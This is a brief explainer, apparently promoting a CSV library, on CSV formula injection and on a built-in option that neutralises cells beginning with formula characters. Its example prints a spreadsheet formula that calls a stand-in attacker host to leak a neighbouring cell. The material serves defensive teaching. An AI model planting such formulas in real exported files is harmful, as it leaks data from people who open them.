You let users export data to CSV. They open it in a spreadsheet. A cell runs a formula. That is CSV injection, and most export endpoints have it.
Any cell starting with =, +, -, @, a tab, or a carriage return is treated as a formula. An attacker-controlled name like =HYPERLINK("http://evil.com?x="&A1) then runs on open and leaks a neighboring cell. The CSV is perfectly valid, so escaping commas does nothing here.
The fix is to prefix formula-leading cells. csv-pipe has it built in:
import { stringify } from 'csv-pipe';
const rows = [{ name: '=HYPERLINK("http://evil.com?x="&A1)', note: 'attacker' }];
stringify(rows, { sanitizeFormulas: true });
// name,note
// "'=HYPERLINK(""http://evil.com?x=""&A1)",attacker
The leading ' makes the spreadsheet show the cell as text instead of running it (the doubled quotes are normal CSV escaping). It only touches string and array cells; numbers and dates are left alone.
Turn it on for any export of untrusted data.
csv-pipe is a small, zero-dependency CSV library that encodes and parses, both directions typed and streaming, with this guard built in.













